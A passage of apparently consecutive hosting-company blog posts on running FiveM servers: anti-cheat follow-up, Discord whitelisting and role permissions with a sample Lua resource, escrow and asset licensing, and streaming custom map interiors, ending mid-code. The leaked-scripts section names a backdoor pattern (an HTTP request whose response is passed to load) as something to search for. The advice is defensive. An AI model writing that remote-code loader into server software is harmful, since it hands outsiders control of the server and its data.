- **Keep the console output.** txAdmin keeps a log of admin actions and player history, and the server console shows what resources printed. When an appeal arrives two weeks later, logs are the only memory you have; [logs worth keeping](https://www.renode.space/blog/logs-worth-keeping) is about which ones.

Evidence also protects your staff. A ban backed by a log line and a timestamp is a decision anyone can review. A ban backed by "he was obviously cheating" is an argument.

##### A first-week checklist for a new server

1. Set `sv_entityLockdown` to `relaxed`, `sv_scriptHookAllowed 0`, and enable OneSync if it is not already on.
2. List every server event in every resource you did not write. Mark the ones that give money, items, jobs or permissions.
3. Fix or replace each marked event that takes an amount, a target or a price from the client.
4. Add game event handlers for explosions and weapon gives, logging only.
5. Read a week of logs, then turn the obvious ones into blocks.
6. Decide on a detection anticheat, measure its cost, and keep it only if the numbers are acceptable.
7. Make sure bans go through txAdmin so they cover every identifier.

#### After an exploit: rolling back

When someone does get money or items through a hole, the server keeps running and the damage spreads through trades. The cleanest recovery is a database restore to before the exploit, plus a fix for the event. That only works if you have a recent backup and know it restores.

On RE:NODE, backups are taken on demand or on a schedule from the panel, stored off the machine, and restored with a button; a backup can be locked so rotation does not delete the copy from before an incident. Subusers can be given console-only or files-only access, every server has its own SFTP credentials, and there is an activity log per server, which helps when the question is who changed what. Attacks on the network itself are a different matter from cheating - [what we do about attacks](https://www.renode.space/blog/what-we-do-about-attacks) is honest about what upstream filtering does and does not catch.

#### FAQ

##### What is the best anticheat for FiveM?

There is no single answer, and the ranking changes as cheat developers move. The best protection is entity lockdown plus server events that validate their input. On top of that, choose a maintained paid anticheat by its false positive handling, performance cost and support, and test it on your own server before trusting it.

##### Does sv_entityLockdown stop all cheaters?

No. It stops clients creating entities, which removes vehicle and prop spawning, the most visible abuse. It does nothing about aimbots, teleporting, or server events that hand out money.

##### Can cheaters give themselves money on my server?

Only if a resource lets them. Money comes from server events; if one accepts an amount from the client without checking it, cheaters will find it. Audit the server side of every resource that pays out.

##### Are event tokens enough to secure server events?

No. They make events harder to call by hand, but a cheat that reads the client's memory can read the token. Validation on the server is what makes an event safe.

##### How do I stop banned cheaters coming back?

Ban on every identifier and hardware token, which txAdmin does by default. Nothing makes evasion impossible, but bans that match on many identifiers make it slow and expensive.

##### Can an anticheat slow my server down?

Yes. Measure it with `resmon` on a client and the profiler on the server after installing. A product that adds noticeable frame time on every client is protecting the server at the players' expense.

FiveM servers on RE:NODE come with txAdmin available, scheduled backups stored off the machine that can be locked against rotation, per-server SFTP credentials, subusers with granular permissions and an activity log on every server - the parts you need when an exploit has to be traced and rolled back.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM Discord whitelist and role permissions

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-discord-permissions-and-whitelist

Discord on a FiveM server does two separate jobs, and it is easier once you stop treating them as one. The whitelist decides who may connect: txAdmin does this itself, by Discord server membership or by role, with nothing extra installed. Permissions decide what a connected player may do: that means turning Discord roles into ACE groups with `add_principal identifier.discord:<id> group.<name>` when they join, either with a ready-made resource or with forty lines of your own. Both need a Discord bot in your guild and both depend on the player's Discord identifier, which only exists if the Discord desktop app is running when they start FiveM. This guide sets up the bot, the txAdmin whitelist, the role-to-ACE mapping, and covers the failure cases you will meet in the first week.

#### How the pieces fit

```diagram
title: A Discord-gated FiveM connection
player = Player | Discord app running
fx = FXServer | playerConnecting
tx = txAdmin whitelist | member or role
bot = Discord bot | in your guild
ace = ACE groups | add_principal
player -> fx : connect
fx -> tx : identifiers
tx -> bot : is member, which roles
fx -> ace : roles become groups
```

When a player connects, FXServer collects their identifiers - `license`, `discord`, `fivem`, `xbl`, `live`, IP, and `steam` if you have set a Steam Web API key. The `discord` identifier is the player's Discord user ID, and it is only present when the Discord desktop client was running and logged in when FiveM started. Discord in a browser tab does not count.

The whitelist step asks Discord, through your bot, whether that user is in your guild and which roles they hold, and accepts or rejects the connection. The permissions step takes the same roles and adds the player's Discord identifier to ACE groups, so `IsPlayerAceAllowed` and ACE-restricted commands see them. txAdmin handles the first. The second is a resource, because txAdmin's own admin list governs its web panel and in-game menu, not ACE.

#### Creating the Discord bot

Both steps need a bot account in your Discord server. It does not need to be online all the time as a separate program - txAdmin and the permission resource use its token to make requests.

1. Open the Discord Developer Portal, create a New Application, and add a Bot to it.
2. Copy the bot token. Treat it like a password: anyone holding it controls the bot and can read your member list.
3. On the Bot page, enable the **Server Members Intent**. Member and role lookups depend on it, and forgetting it is the most common reason the whitelist rejects everyone.
4. Under OAuth2, generate an invite URL with the `bot` scope and invite the bot to your guild. It needs no special permissions to read members and roles.
5. In Discord, enable Developer Mode (User Settings, Advanced). Right-click your server and Copy Server ID, then right-click each role you care about and Copy Role ID.

You now have a token, a guild ID and a list of role IDs. Store the token in one place only. If you put it in `server.cfg`, use `set`, never `sets` or `setr` - `sets` publishes the value to the server list, where it will be scraped. [Environment variables and secrets](https://www.renode.space/blog/environment-variables-and-secrets) covers keeping it out of screenshots and repositories.

#### Whitelisting with txAdmin

txAdmin has a built-in whitelist and a built-in Discord bot integration, so for the gate itself you need no resource.

1. In txAdmin, open Settings and the Discord tab. Enable the bot, paste the token and the guild ID, and save. txAdmin connects and reports whether it could see the guild.
2. Open the whitelist setting (under Settings, Player Manager in current versions) and pick a mode.

| Mode | Who gets in |
| --- | --- |
| Disabled | Everyone not banned |
| Admin-only | txAdmin admins only; useful for maintenance |
| Discord server member | Anyone in your Discord guild |
| Discord server roles | Members holding at least one of the listed role IDs |
| Approved license | Players an admin has approved, one by one |

The exact names shift a little between txAdmin versions, but those five behaviours have been stable.

**Discord server roles** is what most roleplay servers want: applicants join the Discord, pass an application, receive a "Whitelisted" role, and can connect from that moment. Removing the role removes access at their next connection. Paste the role IDs, not names; names can be duplicated and renamed, IDs cannot.

**Approved license** suits a small private server without a Discord process. A rejected player is shown a short request ID; an admin approves it from txAdmin's whitelist page or with the bot's whitelist command in Discord, and the player can join.

The rejection message is configurable. Make it tell players exactly what to do - "Join discord.gg/yourserver and complete the application" - and what to check if they believe they are whitelisted: is the Discord app open, and is it the right account. That one sentence saves dozens of support tickets.

> [!WARNING]
> With a Discord-based whitelist, a Discord outage or a revoked bot token locks everyone out, staff included. Keep the txAdmin web panel reachable so you can switch the whitelist mode, and know that Admin-only is your fallback.

#### Discord roles to ACE permissions

The whitelist lets people in. To give a Discord role in-game powers - admin commands, a staff menu, a donor vehicle - you need ACE principals. The mechanism is the same one described in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained): groups hold aces, and a principal joins a player identifier to a group.

permissions.cfg:

```cfg
add_ace group.admin command allow
add_ace group.admin command.quit deny
add_ace group.mod command.kick allow
add_principal group.admin group.mod
```

Static lines like `add_principal identifier.discord:216735154273419264 group.admin` work, but they do not follow role changes in Discord. A resource that adds principals when a player connects, based on their current roles, does.

The best-known ready-made option is the pair of resources by Badger: `Badger_Discord_API`, which talks to Discord, and `DiscordAcePerms`, which maps role IDs to groups at connect. They are widely used and well documented; follow their own README for the config format, because it has changed across versions.

If you would rather know exactly what is running, the job is small enough to write yourself:

discord_perms/server.lua:

```lua
local GUILD = GetConvar("discord_guild_id", "")
local TOKEN = GetConvar("discord_bot_token", "")

-- Discord role ID -> ACE group
local ROLE_GROUPS = {
    ["111111111111111111"] = "group.admin",
    ["222222222222222222"] = "group.mod",
    ["333333333333333333"] = "group.donor",
}

local function discordId(src)
    local id = GetPlayerIdentifierByType(src, "discord")
    return id and id:gsub("discord:", "")
end

AddEventHandler("playerConnecting", function(name, setKickReason, deferrals)
    local src = source
    deferrals.defer()
    Wait(0)
    deferrals.update("Checking your Discord roles...")

    local id = discordId(src)
    if not id then
        deferrals.done("Open the Discord desktop app, then restart FiveM.")
        return
    end

    local url = ("https://discord.com/api/v10/guilds/%s/members/%s"):format(GUILD, id)
    PerformHttpRequest(url, function(status, body)
        if status == 200 then
            local member = json.decode(body)
            for _, group in pairs(ROLE_GROUPS) do
                ExecuteCommand(("remove_principal identifier.discord:%s %s"):format(id, group))
            end
            for _, role in ipairs(member.roles or {}) do
                local group = ROLE_GROUPS[role]
                if group then
                    ExecuteCommand(("add_principal identifier.discord:%s %s"):format(id, group))
                end
            end
        end
        deferrals.done()
    end, "GET", "", { Authorization = "Bot " .. TOKEN })
end)
```

And in `server.cfg`:

```cfg
set discord_guild_id "123456789012345678"
set discord_bot_token "your-bot-token"
add_ace resource.discord_perms command.add_principal allow
add_ace resource.discord_perms command.remove_principal allow
ensure discord_perms
```

The two `add_ace resource.` lines matter. A resource cannot run `add_principal` through `ExecuteCommand` unless it has been granted that command, and without them the script runs, prints nothing useful, and nobody gets their group.

Points about the code worth understanding rather than copying:

- **`deferrals.defer()` then `Wait(0)`.** Deferring holds the connection while you do asynchronous work; the wait is required before calling `update` or `done`.
- **Removing before adding.** Principals are keyed on the identifier and last until the server restarts, so a player who lost a role in Discord keeps the group unless you remove it. The loop clears every mapped group first.
- **A non-member still gets in here.** This resource only maps permissions. Rejecting non-members is txAdmin's job; doing it in two places means two places to debug.
- **`GetPlayerIdentifierByType`** is available on current server builds. On very old ones, loop over `GetPlayerIdentifiers(src)` instead.

#### Framework permissions are a third system

ACE is FiveM's permission system, but frameworks layer their own on top, and they connect to it differently.

- **QBCore** uses ACE directly. Its permission levels are ACE groups such as `qbcore.god`, `qbcore.admin` and `qbcore.mod`, so a Discord role mapped to `qbcore.admin` works with QBCore's admin checks. Check your version's `config.lua` for the exact names.
- **ESX** stores a `group` value per player in its database (`user`, `admin` and so on) and checks that. Mapping a Discord role to an ACE group does not change the ESX group; you need a resource that sets it through the framework, or you set it by hand.
- **Qbox** follows the QBCore approach and relies on ACE.

Before mapping roles, decide which of the three systems each permission belongs to, and write it down. "Why can the moderator open the admin menu but not kick anyone?" is almost always one system granting and another refusing. The framework side is covered in [FiveM frameworks compared](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox).

#### txAdmin admins and Discord

txAdmin keeps its own admin accounts with their own permissions - who can kick, ban, restart, edit the config, use the in-game menu. Those accounts can be linked to a Discord ID and a FiveM identifier so the in-game menu recognises them, but txAdmin admin status and ACE groups remain separate. A senior moderator typically needs both: a txAdmin account with player-management permissions, and a Discord role that maps to `group.mod` for in-game commands.

Keep both lists short. Every person with ban rights can also unban; every person with config rights can read your database password. The same reasoning applies to the panel, where [subusers and least privilege](https://www.renode.space/blog/subusers-and-least-privilege) explains why console-only and files-only access exist. On RE:NODE, subusers can be given exactly that - console only, files only, no billing - and access can be time-boxed, which suits a developer you are letting in for a week.

#### Running the application process around it

The technical whitelist is the easy half. The process that decides who receives the role is what makes a whitelisted server worth joining, and it is worth designing on purpose.

- **One role for access, separate roles for permissions.** "Whitelisted" lets people connect. "Police", "EMS" and "Staff" grant things in game. Mixing them - letting the police role also grant access - means removing someone from the police also locks them out of the server.
- **An application channel or form.** Most servers use a Discord form bot or a website form. Ask what you actually decide on: age, timezone, roleplay experience, a short character concept. Long essays filter out good players as well as bad ones.
- **Who can grant the role.** Restrict role management in Discord to the people who review applications. Anyone who can grant "Whitelisted" controls your server's door, and anyone who can grant "Staff" controls everything behind it.
- **Removing access.** Take the role away for bans that should outlast an in-game ban, and for players who leave your Discord. With the role whitelist, leaving the guild removes access automatically at the next connection.
- **Inactive players.** Some servers prune the whitelisted role after months of inactivity to keep the community current. Tell players before you do it.

Write the rules down and pin them in the application channel. [Server rules, moderation and staff](https://www.renode.space/blog/server-rules-moderation-and-staff) covers the people side of this in more depth, including appeals.

#### Rate limits and reliability

Discord rate-limits bots. One lookup per connecting player is well within the limits for any normal server, even at restart time when sixty people reconnect in two minutes. What causes trouble is checking roles repeatedly while players are online - on every command, every minute, every job change. Look roles up at connect, cache them for the session, and refresh only on demand.

If Discord does not answer, decide what happens. The code above lets the player in without groups, which is the safe failure for permissions. For a whitelist the trade-off is the other way: failing open lets anyone in during a Discord outage, failing closed keeps everyone out. txAdmin fails closed, which is right for a whitelist, and is why the Admin-only fallback matters.

#### Troubleshooting

**Everyone is rejected by the role whitelist.** Server Members Intent is off, the bot is not in the guild, or the guild ID is wrong. txAdmin's Discord settings page reports whether the bot can see the guild.

**One player is rejected despite having the role.** Their Discord app was not running when FiveM started, they are logged into a different Discord account, or the account in the guild is not the one linked in their client. Ask them to close FiveM, open Discord, and start again.

**Roles map but commands are still refused.** The resource is missing its `add_ace resource.<name> command.add_principal allow` line, or the group has no aces granted for that command.

**Removed staff keep their powers.** Principals persist until restart. Remove before adding, as above, or restart the server.

**Permissions work in game but not in txAdmin.** They are different systems. Give the person a txAdmin account as well.

#### FAQ

##### Do players need Discord open to join a Discord-whitelisted server?

Yes. The Discord identifier comes from the Discord desktop app running when FiveM starts. Without it, there is nothing to check, and a role-based whitelist rejects the connection.

##### Can I whitelist without installing a resource?

Yes. txAdmin's whitelist supports Discord server membership and Discord roles directly once its Discord bot is configured. Resources are only needed to turn roles into in-game ACE permissions.

##### Why use role IDs instead of role names?

Names can be changed or duplicated by anyone with role management rights, which would silently change who gets in. IDs are fixed for the life of the role.

##### Does giving someone admin in txAdmin make them an in-game admin?

Not in ACE terms. txAdmin admins can use txAdmin's own menu and panel, but ACE groups and framework groups are separate, and each has to be granted on its own.

##### What happens if my bot token leaks?

Reset it in the Developer Portal immediately and update it wherever it is stored. A leaked token lets anyone act as the bot and read your guild's member list.

FiveM servers on RE:NODE come with txAdmin available, an in-browser editor for `server.cfg` and your permission files, and subusers whose access can be limited to the console or the files and time-boxed - so the people who manage your whitelist never need your billing or your database password.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM escrow and asset licensing

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-escrow-and-asset-licensing

A paid FiveM resource bought through Cfx.re's asset escrow system is granted to a Cfx.re account, and it only runs on a server whose licence key belongs to that same account. The code is encrypted (the resource folder carries an `.fxap` file), only the files the creator listed under `escrow_ignore` - usually the config - can be edited, and the server checks the entitlement with Cfx.re when it starts. That one rule explains almost every escrow problem: a resource that "suddenly stopped working" is nearly always a key that now belongs to a different account from the one that bought the script. This guide covers how a purchase reaches your server, which account should own what, what you can change, how transfers work, the licences of free resources, and why leaked scripts cost more than they save.

#### What escrow is

FiveM resources are plain Lua or JavaScript on disk. Before escrow, anything sold could be copied and redistributed the day it was released, and the paid resource market was mostly a leak market. Cfx.re's asset escrow is the fix: creators upload a resource, Cfx.re encrypts the parts the creator chooses, and buyers receive a version that only runs for them.

What that means in practice:

- **Purchases go through Tebex** and are linked to the buyer's Cfx.re account.
- **The asset appears in the buyer's account** on the Cfx.re portal (formerly keymaster), from where it is downloaded as a zip.
- **The resource folder contains an `.fxap` file** and encrypted Lua files that are not readable in an editor.
- **At startup, the server proves its key belongs to an account with the entitlement.** If it does not, the resource refuses to load and the console says you lack the entitlement for it.
- **Files listed in `escrow_ignore` stay plain text**, which is how creators ship editable configs, locales and sometimes client-side code.

Escrow protects code, not assets like models: a vehicle's `.yft` streamed to every client can still be extracted from the client cache. That is why model-heavy paid content is often escrowed mostly for the scripts around it.

#### How a purchase reaches your server

```diagram
title: From purchase to a running escrowed resource
buy = Tebex purchase | creator's store
acct = Cfx.re account | holds the grant
portal = Cfx.re portal | download the zip
key = Licence key | same account
server = FXServer | checks entitlement
buy -> acct : granted
acct -> portal
portal -> server : upload resource
acct -> key : owns
key -> server : sv_licenseKey
```

1. Buy the resource on the creator's Tebex store, signed in with the Cfx.re account you intend to run the server under.
2. In the Cfx.re portal, find it under your granted assets and download it.
3. Upload the folder to `resources` like any other resource and add `ensure name` to `server.cfg`. On a panel host, the file manager or SFTP does this; [SFTP and the file manager](https://www.renode.space/blog/sftp-and-the-file-manager) has the details.
4. Start the server with a licence key from the same account.

Step 1 is where problems begin. A staff member buys a script on their own account "for the server", the key belongs to the owner's account, and the script never runs. The grant is per account, and the key decides which account the server is.

#### Which account should own the key

Because every escrowed purchase follows the key's account, the account that owns the key is effectively the owner of the server's paid content. Decide this deliberately before you buy anything.

| Option | Upside | Downside |
| --- | --- | --- |
| Owner's personal account | Simple at the start | The server's assets are tied to one person |
| A dedicated account for the project | Survives staff changes | Someone has to hold its login safely |
| Each developer's own account | Nothing | Assets scattered; most will not run |

For anything beyond a small private server, a dedicated Cfx.re account for the project is the sane choice: every purchase is made on it, the licence key is issued from it, and two people who trust each other hold the login with two-factor authentication on. When a co-owner leaves, the server's scripts do not leave with them. [Two-factor on your panel account](https://www.renode.space/blog/two-factor-on-your-panel-account) makes the general case for protecting accounts that everything depends on.

One account can hold several keys, and an escrowed asset granted to the account runs on any server using any of that account's keys. That is how you run a development server beside the live one with the same scripts: issue a second key from the same account. [FiveM server setup](https://www.renode.space/blog/fivem-server-and-txadmin) covers creating keys.

##### Keep a register of what you own

Once a server has more than a handful of paid resources, keep a simple record - a spreadsheet or a pinned staff document - with one row per asset:

- the resource name and the creator;
- where it was bought, the date, and the Tebex transaction ID;
- which Cfx.re account holds the grant;
- the version you are running and where the downloaded zip is kept;
- whether its config is editable, and what you changed in it.

It takes five minutes per purchase and saves hours later. When a resource breaks after an update, you know which creator to contact and with what proof. When a co-owner leaves, you know which grants are on whose account. And when someone asks whether the server is running anything leaked, you can answer with a list rather than a shrug.

The key itself is a credential. It goes in `server.cfg` with `sv_licenseKey`, or better in a small file that `server.cfg` executes and that never leaves the server. Anyone holding it can start a server as your account, and with it run your purchased resources.

#### What you can and cannot change

An escrowed resource's `fxmanifest.lua` lists what stays readable:

fxmanifest.lua (from an escrowed resource):

```lua
fx_version 'cerulean'
game 'gta5'
lua54 'yes'

shared_script 'config.lua'
client_scripts { 'client/*.lua' }
server_scripts { 'server/*.lua' }

escrow_ignore {
    'config.lua',
    'locales/*.lua',
    'client/editable.lua',
}
```

Everything in `escrow_ignore` is plain text and yours to edit. Everything else is encrypted. Good creators put the parts you will want to change - prices, coordinates, framework bridge functions, notifications - in ignored files. Bad ones encrypt the whole thing and leave you with a config of three options.

What this means when buying:

- **Ask what is open before paying.** A resource whose framework integration is in an editable file can be adapted when your framework updates. One whose integration is encrypted waits for the creator.
- **Bugs in the encrypted part are the creator's to fix.** You can report them with logs and a profile, and that is all. [FiveM server performance](https://www.renode.space/blog/fivem-server-performance-resmon) shows how to produce evidence a creator cannot argue with.
- **Do not rename the resource folder** unless the creator says it is safe. Some escrowed resources check their own name.
- **Updates are re-downloads.** When a creator releases a fix, download the new version from the portal, copy your edited ignored files across, and replace the folder.

Keep every version you download. An escrowed resource you have deleted locally can be downloaded again only while the grant and the creator's listing exist. [Backups that actually restore](https://www.renode.space/blog/backups-that-actually-restore) applies to your resources folder as much as to your database.

#### Transfers and changing owners

Servers change hands, co-owners split, projects move to a new account. Escrowed assets are the part that does not move by copying files.

The options, in order of how clean they are:

1. **Keep the account, change who holds it.** If the project already uses a dedicated account, a change of owner is a change of password and two-factor device. Nothing else moves.
2. **Use Cfx.re's transfer feature.** The portal has offered a way to transfer granted assets to another account, subject to Cfx.re's rules and to whether the creator allows it. Availability and limits have changed over time, so check what the portal offers for each asset before promising anyone a handover.
3. **Ask the creator.** Many creators will move a licence for a genuine ownership change if you contact them with proof of purchase.
4. **Buy again.** The fallback, and the reason to get option 1 right at the start.

Moving the server to another host does not involve any of this. The key and its assets belong to the account, not to the machine, so the same key on the new host runs the same scripts once the key's registered details are updated if your setup requires it. [Moving a server without losing players](https://www.renode.space/blog/moving-a-server-without-losing-players) covers the rest of that job.

#### Open-source resources have licences too

Not everything is escrowed. The major frameworks and much of the ecosystem around them are open source, and open source is a licence, not an absence of one.

- ESX Legacy and QBCore are published under the GPL-3.0, as are many of the resources built for them. Overextended's libraries, such as `ox_lib`, use GPL-family licences as well. Check each repository's `LICENSE` file; they differ.
- The GPL lets you run, modify and share the code. If you distribute a modified version - selling it, publishing it - the GPL's terms apply to what you distribute, including sharing the source under the same licence.
- Running a modified GPL resource on your own server, without distributing it, is ordinary use.
- Taking someone's free GPL resource, encrypting it and selling it through escrow is a licence violation and a common source of disputes.

For a server owner, the practical points are to keep the licence files in the folders you install, to credit authors when you publish changes, and not to buy "premium versions" of free resources from people who did not write them.

#### Leaked resources

Leak sites redistribute escrowed resources with the protection stripped, and leaked resources are where most FiveM servers get compromised. The cost is not just ethical:

- **Backdoors.** Leaked resources routinely include a few lines that download and run code from a remote address. With them, the leaker can give themselves admin, dump your database, or steal your licence key. A typical pattern is `PerformHttpRequest` followed by `load` on the response; search for it, and read [keeping a modded server clean](https://www.renode.space/blog/keeping-a-modded-server-clean) for the rest of the method.
- **Your key.** Cfx.re can revoke licence keys and act against accounts for running content in breach of its terms. A revocation follows the account, so it takes every key and every legitimate purchase on it with it.
- **No updates.** A leak is frozen at the version someone stripped. When the framework moves, it breaks, and nobody will fix it.
- **No support.** Creators do not help with leaked copies, and they recognise them.

If you inherit a server full of resources of unknown origin, treat it as you would any server that might be compromised: [what to do when your server is hacked](https://www.renode.space/blog/what-to-do-when-your-server-is-hacked) gives the order - contain, rotate every credential including the licence key and the database password, then rebuild from clean sources.

#### Selling things on your own server

Escrow covers what you buy. What you sell to players is covered by Cfx.re's own rules for server owners, which route monetisation through Tebex and restrict what may be sold - selling content you have no rights to, or game advantages in certain forms, can get a key revoked. The rules have been revised more than once, so read the current version on the Cfx.re site before opening a store, and [monetising a game server within the rules](https://www.renode.space/blog/monetising-a-game-server-within-the-rules) for the general shape of it across games.

#### Troubleshooting

**"You lack the required entitlement" for a resource.** The server's licence key belongs to an account that does not own the asset. Check which account bought it and which account issued the key.

**Escrowed resources worked yesterday and fail today.** The key changed: regenerated, replaced with one from another account, or revoked. Or the server cannot reach Cfx.re at startup to validate.

**An escrowed resource fails after an FXServer update or downgrade.** Escrow needs a reasonably current server build. Run a recommended build, as covered in [FiveM server updates](https://www.renode.space/blog/fivem-server-updates-artifacts).

**You cannot find a purchase in the portal.** It was bought on a different Cfx.re account, or the Tebex purchase was made without linking the account. Contact the creator with the transaction ID.

**Edited files reverted after an update.** You replaced the folder and overwrote your `escrow_ignore` files. Keep a copy of your edited configs outside the resource.

#### FAQ

##### Can I run an escrowed FiveM script on two servers?

Yes, if both servers use licence keys issued from the account that owns the asset. One account can hold several keys, and the grant covers all of them.

##### Can my host provide the licence key for escrowed resources?

No. The key has to come from the Cfx.re account that owns your assets, which is why FiveM hosts ask you to bring your own. A key from anyone else's account would not run your purchases.

##### Can I edit an escrowed resource?

Only the files the creator listed in `escrow_ignore`, usually configs and locales. Everything else is encrypted. Ask before buying which parts are editable.

##### What happens to my scripts if I sell the server?

They stay with the Cfx.re account that bought them. Either hand over the whole account, use a transfer where the portal and the creator allow it, or the new owner buys their own licences.

##### Are leaked FiveM scripts safe if I scan them?

Scanning finds known patterns, not everything. Leaks are a common route for backdoors, and running them puts your licence key and Cfx.re account at risk. The savings are rarely worth either.

FiveM servers on RE:NODE take your own Cfx.re licence key on the Setup tab, so every escrowed asset on your account runs as it would anywhere else. txAdmin is available, SFTP credentials are per server, and backup slots on every plan keep copies of the resources you paid for.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM MLOs and maps without the lag

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-mlo-maps-and-streaming-assets

An MLO is a custom interior for GTA V - rooms, portals and the props inside them - and on FiveM it is installed like any other resource: a folder with an `fxmanifest.lua` and a `stream` folder holding the model, texture and collision files. Every file in a `stream` folder is downloaded by every player who joins, and every file is loaded into client memory when the player gets near it. That gives you the two rules that decide whether a map-heavy server runs well: keep individual assets small enough that FXServer does not warn about them, and keep the total small enough that first joins and texture memory stay sane. This guide covers how streaming works, the manifest lines an MLO needs, the file types, conflicts between maps, and how to cut a bloated asset pack down.

#### How streaming works on FiveM

GTA V loads the world in pieces as you move through it, from archives on disk. FiveM adds a layer on top: resources can ship extra files that the client registers as if they were part of the game's own archives. Those are streamed assets.

- Any file inside a folder called `stream` in a resource is registered for streaming automatically. Sub-folders inside `stream` are fine and help organisation.
- On first join, the client downloads every streamed file from the server's HTTP endpoint on TCP `30120` and stores it in its local cache. Later joins only fetch files that have changed.
- Streaming works by file name. A file called `v_ilev_door.ydr` in your resource replaces the game's file of the same name. Two resources streaming files with the same name conflict, and one of them silently loses.
- The client loads streamed assets into memory when the player comes near something that uses them, exactly as it does for the base game.

So streamed assets cost three things: server disk and bandwidth for downloads, client download time on the first join, and client memory while playing. They cost almost nothing in server CPU. A map pack does not make your server tick slower; it makes joining slower and can make the game fail to load textures in a busy area.

#### The file types you will see

| Extension | What it holds |
| --- | --- |
| `.ymap` | Placements: which objects sit where in the world |
| `.ytyp` | Archetype definitions, including MLO interiors and their rooms |
| `.ydr` | A single drawable model |
| `.ydd` | A dictionary of drawables, often clothing or props |
| `.ytd` | A texture dictionary |
| `.ybn` | Collision bounds |
| `.yft` | Fragment models, such as vehicles and breakable objects |
| `.ycd` | Animation clips |

An MLO pack is usually a `.ytyp` that defines the interior, a `.ymap` that places it in the world, `.ydr` and `.ytd` files for the shell and its props, and `.ybn` files for collision. A map edit that only adds exterior props may be nothing more than a `.ymap` and some models. Vehicles are their own topic with their own meta files, covered in [FiveM vehicles and addon cars](https://www.renode.space/blog/fivem-vehicles-and-addon-cars).

The tools people use to build and inspect these are CodeWalker for viewing and placing, OpenIV for browsing the game archives, and the Sollumz add-on for Blender for modelling. You need none of them to install a finished MLO, but CodeWalker is worth having for diagnosing a conflict.

#### Installing an MLO

A typical MLO resource looks like this:

```text
resources/
  [maps]/
    cfx_pillbox_hospital/
      fxmanifest.lua
      stream/
        pillbox_shell.ydr
        pillbox_shell.ytd
        pillbox_col.ybn
        pillbox.ytyp
        pillbox_mlo.ymap
```

fxmanifest.lua:

```lua
fx_version 'cerulean'
game 'gta5'

this_is_a_map 'yes'

data_file 'DLC_ITYP_REQUEST' 'stream/pillbox.ytyp'
```

`this_is_a_map 'yes'` marks the resource as map content so the client treats its streamed files accordingly. The `DLC_ITYP_REQUEST` line registers the archetype file that defines the interior; most MLO packs include it and you should leave it in place even where the `.ytyp` would load without it. Some packs also ship an `interiorproxies.meta`, registered with:

```lua
files { 'interiorproxies.meta' }
data_file 'INTERIOR_PROXY_ORDER_FILE' 'interiorproxies.meta'
```

Then add the resource to `server.cfg`:

```cfg
ensure cfx_pillbox_hospital
```

Folders in square brackets such as `[maps]` are containers, not resources, so the `ensure` line takes the resource name only. A new folder added while the server is running needs `refresh` in the console before `ensure` will find it. The `ensure` order and the rest of the file are covered in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained).

> [!NOTE]
> Many paid MLOs are escrowed: the resource contains an `.fxap` file and only runs on a server whose licence key belongs to the Cfx.re account that bought it. If the console says you lack the entitlement for a map, the problem is the account, not the files. [FiveM escrow and asset licensing](https://www.renode.space/blog/fivem-escrow-and-asset-licensing) explains the rules.

#### The oversized asset warning

FXServer checks streamed files as it starts and warns about any that will take too much memory on the client:

```text
Asset pillbox_shell.ytd uses 38.0 MiB of physical memory. Oversized assets can and WILL
lead to streaming issues (such as models not loading/rendering).
```

The threshold is 16 MiB of physical memory per asset. The warning means what it says: the game's streaming system was built around assets far smaller than that, and a single 38 MiB texture dictionary competes with everything else the client is trying to load nearby. The symptoms are textures that stay blurry, buildings that appear late, and in bad cases parts of the city that never load at all around the oversized asset.

Almost always the cause is textures. A creator exported 4096 by 4096 textures for surfaces a player sees from three metres away, or left uncompressed formats in place. Fixing it means opening the `.ytd`, resizing the large textures to 2048 or 1024, saving them in a compressed format, and checking that nothing visible got worse. On a typical over-built MLO that halves the size without anyone noticing in game. If you do not want to touch the files yourself, the warning is a fair thing to send back to the creator; a paid MLO that ships with several oversized assets has a quality problem.

Do not fix it by deleting the low-detail versions (LODs) of models, which some guides suggest to save space. LODs are what the game draws at a distance; without them, objects pop in from nothing.

#### Total size and first joins

Each asset passing the size check is not enough. Every new player downloads the whole lot, and the client keeps the textures for everything nearby in memory at once. A server with forty MLOs and three hundred cars can ask a new player to download several gigabytes before they see the character menu.

What actually helps, in order of payoff:

1. **Remove what nobody uses.** Interiors for jobs you no longer run, a second police station from an old map, test props. Every unused resource still downloads.
2. **Shrink the largest textures.** Sort your `stream` folders by size and start at the top; the biggest ten files are usually most of the problem.
3. **Avoid duplicates.** Two map packs that both ship the same props under different names double the download. Two that ship them under the same name conflict instead, which is worse.
4. **Tell players.** A loading screen that says the first join downloads a large amount is better than a support channel full of people who think the server is frozen.

Players can help on their side too: recent FiveM clients have an extended texture budget option in their settings, which gives streamed textures more room on machines with enough video memory. It is a workaround, not a reason to stop trimming.

On the server side, assets are served from disk over the TCP endpoint. Fast storage makes the server's half of that quick, and the rest is the player's own connection. On RE:NODE every plan is on NVMe and bandwidth is unmetered, which means you are not billed per gigabyte - it is not an invitation to make every new player download five gigabytes, and the player's connection was always going to be the slow end anyway. [Bandwidth and fair use](https://www.renode.space/blog/bandwidth-and-fair-use) covers what that means in practice.

#### Conflicts between maps

Two map resources can collide in three ways, and each looks different in game.

**Same location.** Two MLOs placed in the same space - say, two different versions of the Mission Row police station - overlap. Players see walls through walls, fall through floors where one interior's collision does not match the other's model, or find doors that open into nothing. Only one interior per location; remove the other.

**Same file name.** Streaming is by file name, so two resources shipping `prop_desk_01.ydr` with different contents conflict. Which one wins depends on load order, and it can change after a restart. Rename on one side or remove the duplicate.

**Vanilla interiors and IPL loaders.** Resources such as `bob74_ipl` load GTA Online interiors and their variants. An MLO that replaces one of those interiors fights with the loader. Disable that interior in the loader's configuration when you install a replacement.

When you suspect a conflict, stop half the map resources, restart, and check the place in question. CodeWalker loaded with your server's files will show what is placed where, which is faster than walking around with a resource list.

#### Interiors in game: entity sets, collision and teleports

Many MLOs have optional parts called entity sets - different furniture layouts, a damaged and an intact version, extra rooms - switched on from a script:

```lua
-- client side
local interior = GetInteriorAtCoords(311.0, -594.0, 43.0)
